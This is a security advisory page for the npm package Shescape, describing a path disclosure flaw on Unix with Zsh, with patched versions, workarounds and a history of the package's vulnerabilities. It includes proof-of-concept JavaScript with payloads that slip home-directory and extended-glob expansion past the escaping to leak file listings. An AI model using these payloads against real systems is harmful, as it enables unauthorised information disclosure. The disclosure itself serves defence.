Medium

Shescape: Path disclosure on Unix with Zsh

  • Disclosed: 24.07.2026
  • Updated: 11.10.2026 10:22

Impact

This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem.

In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.

Without option / with MAGIC_EQUAL_SUBST

js
import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);

// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log("", result1.toString().trim(), "\n", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.

With EXTENDED_GLOB

js
import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// And (example)
// `setopt EXTENDED_GLOB` in ~/.zshenv

// 2. Payload
let payload;

payload = "pa#ckage.json";
// Or
payload = "^package.json~package-lock.json";
// Or
payload = "^nonexistent";

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs files and directories in the current directory

Patches

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.

If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.

No patches will be released for version of Shescape lower than v2.0.0.

Workarounds

Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.

For more information

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package shescape < 2.1.14, >= 3.0.0, < 3.0.1 2.1.14, 3.0.1

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-155, CWE-78
Platform
npm
Package
shescape
Disclosed
24.07.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6v4m-fw66-8r4x - CC BY 4.0

Vulnerability history: shescape

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (13) in the archive
Total entries
13
First → latest
03.2021 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 5
  • Medium 4
  • Low 2

Disclosures per year

  1. 2021: 1
  2. 2022: 4
  3. 2023: 2
  4. 2024: 0
  5. 2025: 1
  6. 2026: 5
Severity:
  1. High CVE-2026-73413 >= 2.1.11, < 2.1.14, >= 3.0.0, < 3.0.1 2.1.14, 3.0.1
  2. Critical CVE-2026-73414 < 2.1.14, >= 3.0.0, < 3.0.1 2.1.14, 3.0.1
  3. Shescape: Path disclosure on Unix with Zsh this entry
    Medium CVE-2026-73412 < 2.1.14, >= 3.0.0, < 3.0.1 2.1.14, 3.0.1
  4. High · 8.6 CVE-2023-40185 < 1.7.4 1.7.4
  5. High · 7.5 CVE-2022-25918 >= 1.5.10, < 1.6.1 1.6.1
  6. Critical · 9.8 CVE-2022-31180 >= 1.4.0, < 1.5.8 1.5.8
  7. High · 6.3 CVE-2021-21384 < 1.1.3 1.1.3

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